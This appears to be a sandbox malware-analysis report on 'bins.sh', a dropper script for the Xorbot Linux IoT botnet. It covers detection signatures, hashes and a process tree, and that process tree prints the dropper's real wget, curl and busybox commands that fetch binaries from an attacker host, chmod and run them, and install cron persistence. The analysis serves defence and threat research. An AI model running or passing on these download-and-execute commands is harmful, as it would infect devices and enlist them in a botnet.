Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/02/2025, 04:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250218-e8t5kaymv8
  • SHA256 cc44fb06029f4ca74d159587bedf7dd8a9b1e8d88c4b7523cc0aa6d751cc9ce1
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1120) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:653
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:655
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:657
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:694
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • System Network Configuration Discovery
        PID:761
      • /bin/chmod
        chmod 777 YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • File and Directory Permissions Modification
        PID:762
      • /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        ./YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
          PID:763
        • /bin/rm
          rm YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
          2⤵
            PID:765
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:766
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:769
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • System Network Configuration Discovery
            PID:776
          • /bin/chmod
            chmod 777 dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • File and Directory Permissions Modification
            PID:782
          • /tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            ./dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:783
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:785
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:786
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:787
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:788
              • /bin/rm
                rm dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
                2⤵
                  PID:790
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                  2⤵
                  • System Network Configuration Discovery
                  PID:793

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
                    • Path /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
                    • Size 98KB
                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
                    • Path /tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
                    • Size 119KB
                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    tmp.tv4lDO
                    • Path /var/spool/cron/crontabs/tmp.tv4lDO
                    • Size 210B
                    • SHA256 6e3f427e4247897649ee17467e5547501c136ec8a26004d8d617b5c5972cf50f
                    • MD5 SHA1 SHA512
                    Submit Download